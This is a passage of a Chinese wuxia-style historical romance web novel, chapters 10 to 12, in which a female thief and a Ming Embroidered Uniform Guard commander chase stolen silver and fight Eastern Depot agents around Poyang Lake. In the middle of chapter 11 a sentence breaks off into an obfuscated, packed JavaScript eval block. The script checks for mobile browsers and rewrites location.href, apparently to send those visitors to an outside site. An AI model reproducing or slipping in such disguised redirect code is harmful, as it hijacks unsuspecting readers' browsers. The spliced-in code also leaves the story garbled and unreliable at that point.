聂未晨握拳砸在船舷上,他从怀中摸出那半块染血的飞鱼符,阴霾的天色在金属上投下冷光,他冷声道:“跟上去。” 暴雨中的鄱阳湖如一锅沸水,梁若鸢从水下潜出时,庆幸风雨骤消:“果然老天佑我!”湿发贴在脸上,她稍稍拨开,故意脱了外裳丢在水里,东厂的船追着那件衣服远去。 她攀上码头木桩,拧出头发里的水,暗笑:“真蠢。” 本该空无一人的码头上,不知何时停着艘破旧画舫,船头悬着青铜铃,却在风中纹丝不动,破旧的船身有传出嗡鸣声,诡异至极。 “传闻中的……鄱阳鬼船?”梁若鸢瞳眸微紧,传说专收无主冤魂的鬼船,此刻舱帘微动,露出半张惨白的人脸。 她下意识地摸向腿侧短刃,身后却传来熟悉的脚步声,聂未晨将刀横在她颈前,声音却压得极低:“别动,船上有弩手。” 梁若鸢往后退,脊背靠向他:“大人这么快就想我了?” “账册给我,不用你去,现在,跟我走。”聂未晨刀锋纹丝不动。 她轻笑,引着他的手放在心口处:“在这儿呢。” 聂未晨呼吸一滞,随即冷声道:“徐有贞在船上。” 梁若鸢笑容僵住,画舫纱帘飘摇,船沿上几星寒光闪了闪。 “燕十没找到他。”聂未晨揽了她的腰跃入水中,几乎同时,三支弩箭钉在他们方才站的位置,箭尾缠绕着符纸,遇水即燃,幽蓝的火焰在水面爬开。 水下,聂未晨塞给她一节芦苇管,自己朝反方向游去。 她浮出水面换气,藏身芦苇中,聂未晨跃上了鬼船,绣春刀寒光如龙,弩手一个个惨叫着栽下来。 “笨蛋!” 梁若鸢咬牙靠近鬼船,一个阴毒的声音传来:“聂大人何必为一个女贼舍命?东厂要的只是那残账罢了。” 10. 大胆飞贼 聂未晨的刀尖滴着血:“聂某也是同为陛下效力罢了。”他身形一晃,绣春刀在船板上划出了刺耳声响。 梁若鸢攀上船舷,发现聂未晨握刀的手有三指松开,腕处,不知何时多了三点朱砂红痕,“三叠引?”她幼时曾听父亲讲过,中此毒者三个时辰内武功尽失,东厂用这种毒对付武将。 “聂指挥使果然忠心。”徐有贞抚掌轻笑,袖中铜铃轻响。 聂未晨一阵晕眩,单膝跪地,额角青筋暴起:“徐大人,就算聂某死在这里,这一次,你也无力回天。” “那下官便抱着最后一丝希望……试一试。”徐有贞将他怀中露出的残账抽出,“请聂大人歇息片刻。” 四名东厂番子一步步逼近聂未晨,梁若鸢抽出腿侧短刃,将檐上灯笼绳索割断,致使油布坠落,火光乍起,船上霎时陷入混乱。 她趁乱潜入船舱,扶起聂未晨:“大人,我们走。” “你跟来干什么?”聂未晨忽然揽了她的腰,在她掌心塞入一物,是那半块飞鱼符。 她正想问,聂未晨嘴唇擦过她的耳垂:“拿着,它和兵符,能护你万全……东南角……有暗舱……”话音未落,他整个人往地上坠下去。 “大胆飞贼,抓住他们!身为锦衣卫指挥使竟窝藏飞贼,我看陛下还如何在群臣面前包庇你!”徐有贞怒喝。 梁若鸢冷笑,将聂未晨扶稳,门外传来番子们的惨叫声,蓝羽闯入舱内将他背起:“快走。” 三人跃上渡口,蓝羽落地后跪倒,聂未晨随他跌下去。 “大人,大人快醒醒!” 梁若鸢上前与他一同将聂未晨搀起,躲入岸边不远处一座废弃的货仓,梁若鸢将身上一袋子灵药塞在蓝羽怀里:“拿好,不用还回来了。他至少三个时辰内动不得武,等他醒了,你告诉他,在鄱阳湖畔守一条船,若我猜的没错,那便是炮船。” 她说着便偷偷出了货仓,于水岸边寻到一条小船,刻意暴露,将裹了油纸的账册拿在手里,举高:“想要这个吗?有本事就来啊!” 徐有贞看了看手里油纸包好的假货,内页全然空白,在浓烟大火中,狼狈大喊:“抓住她!别让她跑了!” 鬼船上火势不减,十余番子弃船追捕,徐有贞咳得睁不开眼睛,与身边近侍乘舟离开。 入夜,赣江水面银光碎闪,梁若鸢藏身芦苇荡中,她伏在船舷边,指尖轻拨水面,看着涟漪荡开。 身后几艘东厂快船破浪追来,她唇角微扬,猛地一扳舵柄,小船如游鱼般斜入右侧水道。 “追!她往抚河去了!” 东厂番子的吼声混着水浪声响传来,梁若鸢反手甩出三枚铜钱,钉入船尾木板。 方孔系着细线,随着船只行进而绷直,牵动她预先埋藏的“简易火药”。 火光轰然炸起,追兵船头一滞,而她的小船已借势冲入狭窄的支流,最终不见踪迹。 滕王阁码头晨雾未散,梁若鸢理了一下头发,弃船登岸,湿透的衣衫换成了粗布短打,发髻松散垂下几缕,似个赶早市的渔家女。 她混入挑着鲜鱼的货郎队伍,眼角余光扫过码头,发现东厂番子竟在早市里搜寻,为首之人手持一幅画像,赫然是她的模样。 “让让!让让!”她突然撞翻一筐活虾,鱼贩的骂声顿时引了番子注意。 梁若鸢趁机伏低钻入人群,指尖一挑,顺走摊贩的斗笠扣在头上。 几步外,一名东厂番子猛地转头:“站住!” 梁若鸢头也不回,袖中滑出一枚铜钱,弹向茶棚的炭炉。 “当啷”一声响,烧红的炭块坍塌滚落,引燃了一边堆放的干柴枯枝。 “走水了!”人群霎时大乱,她轻笑一声,闪身拐进瓷器巷。 青石板路两侧堆满陶胚,她随手推倒几摞,瓷罐碎裂声里,追兵的脚步被彻底截断。 阁楼飞檐下,梁若鸢掀开斗笠,望向赣江方向,东厂的船队已去了抚河,水天交界处,几个黑点迷茫漂泊。 …… 七日后,鄱阳湖畔,聂未晨手中罗盘指针疯狂旋转,所谓“水患重灾区”湖面平静,岸边泥土泛着赤红色,似经大量火药熏染过。 “大人,亏我躲进了县衙,这县衙给的灾民名册……”燕十翻着簿子冷笑,“三百七十八人里有一百二十个重名。” 远处传来吱呀橹声,暮色中,一艘无帆无灯的平底船缓缓划过湖心,船头立着个蓑衣人,头戴斗笠,身形僵直如尸。 “第七夜了。”聂未晨握紧了刀,梁若鸢让他来此守一艘船,同样的船,同样的时辰,连橹声节奏都分毫不差。 蓝羽突然按住燕十的肩膀:“看水里!” 湖面之下隐约可见一片巨大的黑影游过,长度堪比五间瓦房。 那“鬼船”恰从黑影上方经过时,蓑衣人突然摘下斗笠,分明是具挂着腐肉的骷髅…… 一阵水响传来,黑影下沉后消失,聂未晨飞身掠向岸边小船,却听一声破空尖鸣,一支弩箭钉在他脚前。 芦苇丛中站起数十“渔民”,手中劲弩在月光下泛着蓝光,蓝羽怒从中来:“又是淬了毒的!” “大人请回。”为首者咧嘴一笑,口中缺了门牙,“再往前就是‘龙王庙’了。” 他腰间铜牌晃动,燕十眯眼细辨:“是宁王府的鲤鱼符。” 同一时刻,梁若鸢蹲在南昌城最高的望火楼上,手中半残账册与怀中符令同时令她觉得发烫,怪异的感觉忽然在身上流动,“聂未晨啊聂未晨,我此生便是欠你的……” 她咬牙撕开衣袖,小臂内侧浮现出淡红色的血纹,青蚨换血后的联系,每当聂未晨运功过度、受伤,她身上就会出现异样。 纹路渐渐清晰,她背后瓦片轻响,横空飞来一只匕首将一张字条钉在她面前房梁上,她取下展开,只见十字:“徐有贞已至南昌府,速救驾。” “救驾?”梁若鸢心头狂跳,皇帝明明在京城……除非…… 她猛地想起宁王入京那日她在屋顶上看到的异常,那支多出来的仪仗队伍,那些刀斧手虎口的老茧,不是侍卫,是操炮手。 鄱阳湖的鬼船,宁王忽然入京,还有徐有贞…… 梁若鸢纵身跃向下一处屋檐,在半空陡然拧身,三支追魂钉擦着她的发梢飞过,屋顶四角不知何时已立着黑衣人,胸前银线绣着振翅飞燕。 “徐大人问乔姑娘好。”为首者阴笑,“姑娘偷走的账册,该还了。” 梁若鸢摸向怀中龙纹令牌,突然想起聂未晨曾说:“必要时候可调兵。”原来皇帝早算到了。 “想要账册?”她轻笑,甩出袖中烟弹,“让徐有贞亲自到龙王庙取!” 她的身影如燕穿云,朝着血脉中指引的方向飞掠疾驰,身后,南昌府钟鼓楼响起了警钟,十二声钟鸣如惊雷炸响连响。 南昌府瞬间沸腾,梁若鸢足尖点过飞檐,身后黑衣人紧咬不放,袖箭破空之声不绝于耳,她右臂上的血脉纹路灼烧般发烫,聂未晨那边定是出事了。 “阴魂不散!” 她反手甩出几片碎瓦,趁追兵闪避之际,纵身跃入暗巷,指尖掠过怀中龙纹令牌,冰冷的触感让她定了定神,朱厚照密令只有八字:“鄱阳有变,持此调兵。”可兵在哪儿?这样追来追去,怎么找?聂未晨又在哪儿? 臂上血线传来剧痛,一幅模糊画面涌入脑海,聂未晨困于水下,铁栅栏正缓缓闭合。 “龙王庙……水下机关!”她咬牙望向鄱阳湖岸方向,却听头顶瓦片“咔”地一响。 一道白影如鹰隼俯冲而下,刀刃寒光劈开了阴沉的天,他直取她喉咙,她以短刃退挡,架住钢刀,两人四目相对。 “阁下要做什么?!”她愕然呆住,这衣着……皇帝影卫?为何对她出手? 对方眼中杀意凛然:“乔姑娘,陛下口谕,你若见令不调兵, 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龙王庙下的溶洞与南昌城护城河暗渠相连,而徐有贞的赤楼船正堵在唯一的出水口。 “大人,那影卫好厉害,竟到处假传圣旨。”梁若鸢将龙纹牙牌拍在聂未晨掌心,“令牌在此,城外埋伏的是神机营。” 徐有贞狂笑,第二轮炮响:“晚了!宁王殿下此刻已……” “已什么?”聂未晨不耐烦再听,甩出半块飞鱼符,碎片划过徐有贞喉头,鄱阳湖上空炸开一朵赤色花火,那是南昌府卫所和神机营勤王的信号。 两人爬出溶洞,梁若鸢抬头望向遥不可及的京城方向,轻声道:“你说……宁王那只机关手里,如今到底装着火炮图纸,还是陛下给他的鸩酒?” 她说着又穿进岸边芦苇丛中,不一会儿便抓出一个“渔民”,短刃抵在他颈上,“跟踪我三天了,当我不知道?” 她刀尖微微下压,划出一道血线,“比那些官差都爱当跟屁虫呢。” 聂未晨抬手握住她持刀的手腕:“小喽啰罢了,放了吧。” 梁若鸢臂上血脉发烫,愤然松了手:“再让我看见你为非作歹,我定饶不了你!” “乔姑娘不也在跟踪我?”他拇指摩挲她掌心放血的划痕,将一块黑铜牌放在她手上,“不如看看这个。” “这是……” 梁若鸢指尖一挑,那令牌在她指间翻了个面,光线昏暗,四爪蟒纹依旧刺目,“东厂的东西。” 她唇角微勾,抬眼时却是一副无辜模样:“哪儿捡的?” 聂未晨懒洋洋道:“从刚刚那个渔民身上扒的。” “大人,”她拖长了音调,眼底戏谑浮动,“您怎么能偷东西呢?” 他轻笑一声,逼近一步,指节擦过她耳侧,从袖中又抽出一张纸,在她眼前一晃:“你都能,凭什么我不能?” 梁若鸢眉梢一挑,迅速擒住他手腕,另一手夺过那张纸,扫了一眼,笑意更深:“漕帮的名录?哪儿来的?” “徐有贞身上扒的。” “徐有贞带着这个干什么?” 聂未晨任由她扣着自己,亦抓住她,低头凑近她耳畔,嗓音低得暧昧:“不如你猜猜……东厂是盯上了漕帮,还是……”他指尖在她掌心一划,“有人想借刀杀人?” 她收紧手指,想挣却没挣开,借力将他拉近,吐息如兰:“那大人扒他的东西,是替天行道,还是……敲他一笔呢?” “乔姑娘若没什么别的事……跟我回去看看就知道了。”他将她留下的暗袋放在她手里。 五更三点,奉天殿前百官肃立,曹化成手捧奏折,缓步出列,声音阴柔却字字诛心:“陛下,鄱阳湖二十万两官银不翼而飞,鄱阳漕帮三十八人惨遭灭口,而所有证据……”他猛地抖开一件血衣,“都指向锦衣卫指挥使,聂未晨!” 11. 你轻点儿 那件血衣在曹化成手中晃动,像一面催命的幡。 “陛下明鉴!”礼部尚书于良的乌纱帽翅剧烈颤抖,“鄱阳湖漕帮向来安分,三十八条人命……” 朱厚照打了个哈欠,指尖在鎏金御案上画着圈,日光透过雕花窗棂一点点照进来,在地上投下斑驳影子。 “你说聂卿啊……”他声音轻得像在讨论午膳菜式,“诶?去年晋商那笔银子,是不是也这么没的?” 朱厚照余光瞥见宁王朱宸濠正用自己随身的绢帕擦拭腰间玉带,动作优雅,令人心惊。 “老臣愿以项上人头担保,那五万两……”兵部尚书章仲启出列跪下,官袍在青砖上擦出声响。 曹化成阴笑着,展开一条焦黑的火绳:“章大人急什么?聂指挥使府上亲兵携带的火器引信,与佛朗机炮所用的引信怎么……” 朱厚照瞪了章仲启一眼,忽然打翻了砚台,墨汁泼在曹化成所呈的奏折上:“皇叔。” 他挥了挥手,让太监前来清理污迹,“您府上歌姬唱的《浣纱记》,比教坊司的新调如何?”蓝底金线的袖笼里,半截密报已然捏皱。 宁王转了转手上白玉扳指:“陛下圣明。”他眼角皱纹里笑意如毒舌一般,“徐有贞这奴才竟敢与人串通污蔑老臣,那些炮船……官银……” “着,聂未晨,”未等他说完,朱厚照将一份奏折摔在曹化成脚边,“即日起停职候审。”他尾指在诏书上蹭出三道墨痕,长短不齐,皆不连续,“退朝。” 饷午,鄱阳湖涌起异雾,漕帮总舵附近的灯笼在雾中晕出血色。 梁若鸢倒挂在屋檐下,红纱蒙面,指尖绳索缠住桅杆,轻轻一荡,狸猫般翻进二楼花窗。 脚尖刚点地,颈后忽地一凉,“乔姑娘夜闯私宅,按《大明律》当杖八十。” 刀光映出半张人脸,飞鱼服在暗处泛着幽蓝的光,“聂大人……”她两指夹着刀背缓缓转身,红纱下唇角微扬,“《大明律》可没说锦衣卫能私会女贼?或者……私藏?” 聂未晨手中绣春刀纹丝不动:“官银在哪?” 梁若鸢戏谑道:“你亲我一下,我就……” 话未说完,他当真拉她入怀,她旋身躲避,腰间暗袋不慎扯开,三颗东厂火雷“咕噜噜”地滚了出来。 “曹化成的烟花?”聂未晨一笑,“乔姑娘业务挺广。” 梁若鸢低笑,贴近他耳畔:“不如聂大人……见识广?” 温热的呼吸掠过耳际,未熄的炉火噼啪作响,一张漕运图钉在墙上。 “蓝羽搜过船底,燕十查过暗舱。”聂未晨指尖点着图纸上几处码头,“官银蒸发前最后出现在……” “鄱阳漕帮码头。”梁若鸢抓了他手指放在齿间轻咬,不轻不重地一磨,啃出血来,在图纸上画了个圈,“你们锦衣卫的实力不行啊。” 聂未晨抽回手,诧异着,看见指腹上一道牙印:“你到底有没有拿?” “我像私吞的人嘛?”梁若鸢屈膝顶向他腰腹,他将她反拧了手腕压倒在一旁软榻上。 梁若鸢唇齿间残留了一阵桂花酿的甜香,聂未晨指尖微微发麻。 他眸色一暗,似想到什么,又将她拉起,扣住她的手腕将她抵在漕运图上,图纸皱出细碎声响。 “鄱阳漕帮的账本用明矾水写过两遍,我验过了。”他低头时束发的玄色缎带垂落,扫过她颈侧。 窗外传来断瓦碎裂声。 “看来有人不想我们查完这笔账。”她侧目瞥见图纸上鄱阳湖的位置,似有人曾用炭笔画了个扭曲的漩涡,她挣扎了一下,“松开!” 门外有机括响动,聂未晨揽紧她滚到桌下,东厂番子从窗外走过,皆带着臂弩。 “跟不跟?”梁若鸢揪着聂未晨的衣襟,眼睛盯着窗上人影。 聂未晨捏住她的下巴,将她的目光转向自己:“乔姑娘四处找官银到底要干什么?” “大人不必管这么多,我们各取所需,互不连累就是。”梁若鸢扭头挣扎,推开他的手,“大人跟着我,便能破许多大案。 梁若鸢后背抵着冰凉的地板,聂未晨的膝盖压在她腿上,力道不轻不重,却恰好让她动弹不得。 他指腹摩挲着她的下颌,声音低得暧昧:“连累?东厂的人早就盯你多时了,你以为锦衣卫的暗桩是瞎子?” 她嗤笑一声,偏头避开他的触碰:“聂大人这么关心我,莫不是对我动了心思?” 聂未晨眸色一沉,俯身逼近,呼吸几乎贴着她的耳廓:“鄱阳湖上运走的不止官银,还有不知数量的火器,你若被抓住,知不知道会有什么后果?” 梁若鸢指尖扣进他腕间,他反手握住,十指交缠,他低笑一声:“乔姑娘,不管你有什么目的,我查案,需秉公办事,我不敢保证会不会把你带回诏狱试试什么叫……‘连累’。” 梁若鸢一瞪眼,瞬间掐了他的脖子将他反压,她撑着他抬起头,他一手挡在她正撞上桌板的脑后,手背磕在桌底横条上。 “嘶……乔姑娘谋害官差啊……” 他趁机将她推近,鼻尖触碰前一霎她拧了他的耳朵,“大人可不能强抢民女。” 她起身想走,他将她揽腰拖回,翻了个身,复又按在地上。 两人一番挣扎缠斗,衣襟拉扯散开,聂未晨锁骨处赫然一道鞭痕,是东厂缠丝索的螺旋纹路。 “真凶……”她摸了一下,喘气笑道:“聂大人千方百计不让我走,又是什么目的?” 聂未晨呼吸微乱,却仍扣着她的手腕不放,“你当真一点不知吗?” 他眸色深沉,凝视着她,似笑非笑,指尖在她掌心轻轻一划,似试探,又似撩拨。 “大人,你我各取所需,探究太多,对你对我……都不好。”她指尖下滑,停在他心口,声音又低了几分,“聂大人这伤……是沙场上留下的吧?” 聂未晨猛地攥紧她的腰,笑意褪尽:“你又怎么知道呢?” “你潜入蒙古部落独斩两名鞑靼斥候,以首级换得总旗衔;于霸州之战中救下游击将军,得荐入京营;西苑阅兵十矢俱中百步外柳枝得了陛下青睐,于校场演武时,以市井戏法徒手夺下御前侍卫佩刀,当夜召入豹房问话,之后便破格擢为锦衣卫百户,赐飞鱼服、绣春刀,专司侦缉江湖异动……” “继续……”他眸中黯然,似在听别人的故事,血海与杀戮,饥饿与寒冷在他脑海中浮起一副满是断肢残骸的画面,他眉心微微一蹙,转瞬即逝,似闻到什么很臭的味道。 “你暗查白莲教山西分坛,一夜连杀七名护法,焚毁名册二十余卷,得荐升任千户;又奉密旨监视宁王府使者,于秦淮河画舫中毒杀王府谋士伪作溺毙;去年北巡应州,鞑靼突袭时,你率十二缇骑绕焚其辎重助明军大捷,升任指挥使。” “你一直在查我?”他声音低哑,带着几分埋怨,握在她腰后的手又紧了些。 梁若鸢冷声道:“我说过,你有用。” 聂未晨眸色转寒,指节微微发力,几乎要嵌入她的腰肢。 “查得这么清楚,”他低笑一声,声音似淬了寒冰,“那你可曾查到,上一个这般查我的人,如今埋在何处?” 她迎着他的目光,唇角微扬,指尖轻轻在他心口伤疤上画了个圈。 “我看到了。”她慢条斯理道,“那人埋在北镇抚司门外不远处的槐树下,骨头都烂透了。” 空气凝滞,聂未晨盯着她,忽然笑了:“有意思。”他松开钳制,坐起身来:“说吧,你想做什么?” 她拢了拢衣裙,笑意不减:“我说了,我们各取所需,不要多问。” 聂未晨眉梢微挑:“你就确定我不会把你送进诏狱?” “不确定,但各凭本事。”她抬眸,“大人还欠我一条命呢。” 聂未晨眯起眼:“嗯……我觉得兴许不止……你不再仔细想想?” “……我还知道东厂。”她轻声道,“曹化成派了暗桩盯了你半年有余了。” 他嗤笑一声:“就这?” “当然不止。”她上前一步,压低声音,“我还知道……大人一直在找的那个人在哪里……” 聂未晨瞳孔骤然一缩。 “如何?”她退后一步,笑意盈盈,“这算笔交易,聂大人可还满意?” 他沉默片刻,抬手扣住她的后颈,逼她直视自己。 “你若骗我……” “那我便亲自躺进那棵槐树下。”她毫不畏惧,迎上他的目光。 聂未晨盯着她许久,似在判断她说的话,半晌,一笑,终于松手:“官银牵涉甚广,你如何都可以,但莫过于出格。” 她轻笑一声:“就是嘛,一言为定。” 话音未落,门外传来番子交谈声。 “奇了怪了,去哪儿了呢?” “害,随便找找,反正是要扣到聂未晨头上的。” 梁若鸢眉头压下:“他们也在找官银?不是他们藏的?” 聂未晨捋开她脸侧发丝:“若如此,那这二十万两官银便已不在此处了。” 入夜,南昌府微雨,两道幽影轻若飞絮,一个坠在一个身后不远处。 梁若鸢落在宁王长史司屋顶飞檐上,回头看了看,雨水顺着她的斗笠边缘滴落。 “第三进院子,西厢房。”她低声自语,从腰间取出一支铜管,放在眼前,“这西洋来的‘千里眼’果然有用。”她清晰看见厢房外两名守卫正打着哈欠,“丑时三刻,该换班了。”梁若鸢唇角微扬,如飞絮飘落,守卫转身一瞬,她闪身进了厢房。 屋内堆满了账册,梁若鸢直奔最里间铁柜,从发髻取下一根银簪,在锁孔中轻轻拨弄三下,“咔嗒”一声,铜锁应声而开。 “二十万两河工银……”她快速翻阅账册,眉头却越皱越紧,“不对,只有五万两。” 她耳尖微动,听见窗外熟悉的脚步声,不是守卫…… 梁若鸢合上账册,一个黑影跃入,“乔姑娘好手艺,连工部的九转锁都能开得这么快。” “下来吧,玩儿什么?”聂未晨抬起头,这姑娘到底在想什么?他目光投在梁若鸢藏身之处,眯了眯眼,看见一角红裙若隐若现。 院外传来喧哗声,“走水了!粮仓走水了!” 他略一分神,梁若鸢轻盈落下,在他后背一拍:“大人总是慢一步,不称职啊。” “找银子,你本行,我不抢。”他转身将她抵在她身后铁柜上,撞出一声响来。 梁若鸢一怔:“你轻点儿!” “你以为我为何放火?”聂未晨俯身在她耳边轻声道。 梁若鸢低头做羞涩状:“为了救我?” “官银在哪儿?”他鼻尖自她脸侧蹭过,两人呼吸交缠。 梁若鸢仰起头,柔唇触了他的脸,“不见啦~” 聂未晨眉心一拧,扯下她手中账册,将她环在身前:“只有五万两?” 梁若鸢抱手懊恼,脊背靠在他身上:“会去哪里了呢?” 聂未晨冷笑一声:“抓一个来问问?” 梁若鸢浑身一直,怔怔转身,从他怀里退出来,夸张点头:“嗯!我同意,我负责指挥。” “一直都是啊,没看我跟在你后面吗?”他说着开了门,身影一下闪出,门外传来几声惨叫声,他拖了个管事的回来,扔在她面前,“乔大人发落吧。” 梁若鸢心头一紧,清了清嗓子:“咳咳咳……本姑娘只取不义之财,不取……不轻易取人性命,你说,那二十万两河工银到底去哪儿了?”她刻意端起架子,仰头下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782670|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视。 绣春刀就在脸侧,那管事连道不知,蓝羽从门外踏入:“大人,搜过了,没有。” 门外走水声更响了些,两人同时开口: “是饵!” “是饵!” 聂未晨压低声音:“这么说……那张残页,他们是故意留下的。” 梁若鸢眯起眼睛:“把我们引来这里?” 四面八方传来脚步声,聂未晨拉起梁若鸢:“走。” 梁若鸢随他冲出门去,忽然挣脱他的手,从怀中取出一个火折子:“等等。”她点燃账册,扔进了半开的窗户里,火势在房中迅速蔓延。 ”你做什么?”聂未晨厉声一问。 “给曹化成留个纪念,敢耍我?”梁若鸢站起身来,“绝不让这些恶棍好过。” 云破月出,清晖洒在她脸上,明媚又倔强,聂未晨一时看得有些出神,直到浓烟开始漫起,他才回过神来:“快走!” 三人冲出火海,身后是东厂番子的叫骂声,尖细又滑稽。 梁若鸢几个起落跃过屋顶,聂未晨和蓝羽负责断后,绣春刀在月下划出冷光,追兵逐渐退尽。 天边泛起白色,梁若鸢发现大火将她发梢燎焦一缕,聂未晨的衣袖也划破一道口子,两人坐在驿馆院子里,背靠着背休息。 “宁王府。”梁若鸢喘出一口气,“银子也可能在那里,就那里还没去了” 聂未晨点头:“王府守卫森严,还需从长计议。” 梁若鸢笑了笑:“聂大人这是真打算与我长期合作?”她将卫所兵符甩在他肩上,一松手,玉符顺着他胸口滑下去。 聂未晨头枕在她脑后,在胸前摸到赤玉兵符,抓在手里,冰冰凉凉,倒也适合消暑…… “给锦衣卫做暗桩,怎么也比做飞贼强,乔姑娘就不考虑一下?” “砰”地一声门响,东厂番子踹开驿馆大门,聂未晨霎时睁眼,右手摸上了放在一旁的刚擦过的刀。 “聂指挥使,得罪了。”为首的档头皮笑肉不笑,一拱手,“有人举报您私藏赃物,督主请您马上回京走一趟。” 聂未晨未动,淡淡抬眼:“哦?何物?” 档头一挥手,两名番子从驿馆抬出一口木箱,掀开箱盖,赫然几件血衣。 “这些衣服上的刀痕,可是绣春刀所留。”档头阴笑,“咱家听说……周文焕死在诏狱,可是聂指挥使一手谋划的。” 聂未晨盯着血衣领口暗绣的金线螭纹,那是东厂督主亲信才有的标记。 他缓缓笑道:“曹化成的栽赃手段,还是这么拙劣。” 蓝羽从旁走出:“凡事要有证据,就凭几件衣服就想诬陷我们吗?那分明是你们自己的衣服。” “不管怎么说,还请聂大人随咱家回京复命,听候陛下定夺。”那档头朝天拱了拱手,似是真敬重。 梁若鸢斜倚在一旁栏杆上,指尖捻了一枚铜钱把玩,似笑非笑。 “聂指挥使,”她开口道,声音清亮带笑,“看来东厂的狗鼻子,比我想象的灵啊。” 院中众人一惊,齐齐抬眸。 聂未晨唇角微勾,眼底浮起一丝玩味:“乔姑娘这是要插手?” 梁若鸢指尖一弹,铜钱射出,钉在木箱上,震得几件血衣微微一颤。 “插手?”她轻笑,“我只是好奇,东厂的人大老远跑来,就为了送几件破衣服?” 档头脸色一沉:“你是何人?敢阻挠东厂办案!” 梁若鸢懒洋洋打了个哈欠,直起身,站到聂未晨身侧。 她侧眸看他,挑衅道:“聂大人,需要帮忙吗?” 聂未晨低笑:“乔姑娘若愿意,聂某求之不得。” 两人目光一触即分,无形中锋芒交错。 档头见他们旁若无人,怒极反笑:“好!好得很!既然你们不识抬举,那就别怪咱家不客气!” 他一挥手,数十名番子拔刀围上。 梁若鸢指尖一挑,腰间短刃寒光乍现。 “聂未晨,”她侧身与他背靠背,唇角微扬,“比比看?” 聂未晨手腕一翻,刀已出鞘,光落如雪:“正有此意。” 话音未落,两人同时掠出,梁若鸢身影诡谲莫测,手中短刃如飞燕穿梭,所过之处血线飞溅。 聂未晨起手直取番子要害,目光在她与番子之间量掇,刀刀毙命,斩下她视线所未及之敌。 两人默契惊人,蓝羽从旁策应,几个持弩的番子还未搭上箭便已断了气。 档头见势不妙,咬牙从袖中掏出一枚信号弹,正要朝天射出,一枚飞镖破空而来,几乎整枚嵌进他的手背。 梁若鸢回身望向聂未晨:“你的人?” 聂未晨甩去刀上血迹,淡淡道:“燕十。” 驿馆屋顶上,数名锦衣卫不知何时出现,弓弩齐指,将东厂众人团团围住。 档头左手握着右手瘫坐在地,梁若鸢收刀入鞘,拍了拍衣袖:“看来聂大人早有准备?” 聂未晨走近她:“乔姑娘今日援手,聂某铭记于心。” 梁若鸢轻笑,戏谑着瞧他,忽然抬手拂去他肩头一片落叶,指尖擦过他颈侧,似有若无:“聂大人客气了,毕竟……你我‘同路’回京。” 聂未晨眸光一暗,扣住她的手腕,低声道:“乔乔……你到底想要什么?” 她迎上他的目光,笑意不减:“你猜?” 燕十远远看着,目瞪口呆,半晌,他看了看已对此习以为常的蓝羽,结巴道:“大,大人,这些人怎么处理?” 聂未晨淡淡道:“京城像是出事了,先押回京,看看怎么发落……” 梁若鸢已在门外,翻身上了匹马,回头冲他一笑:“聂大人,东厂的马不错,咱们前面浔阳驿见!” 12. 意外收获 十王府夜静灯昏,朱宸濠指尖摩挲着空荡荡的紫檀木匣,眼底寒意森然。 “兵符呢?” 黑翎卫统领跪在地上,额头抵地,冷汗涔涔:“回王爷,被……被盗了。” 朱宸濠一掌拍断面前案几,阴沉道:“聂未晨还在南昌?” “是,他还在查河工银的去向,还不知自己停职候审一事,应尚未离赣,只是不知东厂事办得如何了。” “杀了他。”宁王冷冷抬眸,“把兵符带回来,若带不回来……就把他的右手砍了,送给皇帝。” 鄱阳湖面风平浪静,似什么都不曾发生,芦苇荡着月色,一切如初,官船缓缓驶出湖岸渡口,聂未晨指尖捏着赤玉兵符,整个湖面似在沉睡,水浪拍在船舷上似呼吸般轻缓。 手中玉符于月下泛起冷光,他将其收入怀中:“乔乔?……呵,你胆子真不小。”他低笑,“真是……胆大包天……” 梁若鸢黑衣蒙面,形同鬼魅,纵身翻入宁王府后院青砖高墙,铁蒺藜划破了衣摆一角。 “西苑地窖……在哪儿呢?”她自语道,带着目的和方向。 灯稀影重,黑翎卫按刀而立,明哨暗桩,十步一杀,假山石缝间弩箭冷芒若隐若现,西苑地窖入口藏在荷花池底,池面浮着薄冰般的铁网,网上淬了“孔雀胆”,飞鸟难渡,鬼神莫入。 梁若鸢伏在檐角,呼吸轻得融在风里,她盯着那口青石井,飘落下去,手指刚触到井沿,背后忽地一凉。 “小贼婆,咱家久候了。”一东厂番子从暗处走出,阴笑着,身后跟着数十王府亲兵。 火把骤亮,十余黑翎卫手持弩箭将她退路封死,东厂番子手里把玩着一枚穿骨钉,钉头一层孔雀胆毒汁泛起蓝色,他笑得阴冷怪异:“咱家等你多日了,还以为你不来了。” 铁链骤然缠上手腕,梁若鸢瞥见房顶闪过一道黑影,绣春刀独有的反光弧度一闪而过,她微微一笑。 “小姑娘,聂未晨在哪里?他不是跟你一块儿来的吗?嗯?”东厂番子双眸一狠,将毒钉往她脸上划。 黑衣人影凌空而下,刀光如暴雪倾落,许多惨叫还未来得及喊出声,就已断在喉咙里。 身后一声铮响,梁若鸢腕间铁链松落,腰上一紧,身旁黑衣人的那双眼睛她颇认得,她朝他笑了笑:“大人,你来啦……” 幸好幸好幸好…… 她正心里嘀咕,聂未晨带着她掠上房顶:“专心点,想什么呢?” 黑翎卫持刀紧追,几个起落便朝他们砍过来,聂未晨将她推在身后,她借力旋身,袖中几枚铜钱射穿了几只眼睛,她皱了皱眉:“大人是跟踪我来的?” 聂未晨似是笑了一下,声音隔着蒙面的黑巾传来:“乔姑娘,你派人来北镇抚司请我的时候……把血渡给我的时候……就没想过后果?” 穿骨钉破空而来,聂未晨挥刀挡回,错开一枚擦着梁若鸢鬓角划过,钉入她身后石墙,溅起一串幽蓝火星。 梁若鸢忽然从背后抱住他:“太可怕了,早知不来了。” “你也欠我一次。”聂未晨侧眸看了看她,这女人怕是故意撩火。 她将他面巾扯下,想丢,又收回看了看,料子不错,丢了可惜,塞进自己前襟里,扬了下巴:“大人欠债不算利息吗?”她理直气壮,是要讨价还价。 西苑外传来铜铃声,急促而阴森,火光围拢过来,聂未晨目光骤沉,带着一丝笑意:“活下来,我们再好好谈谈。” 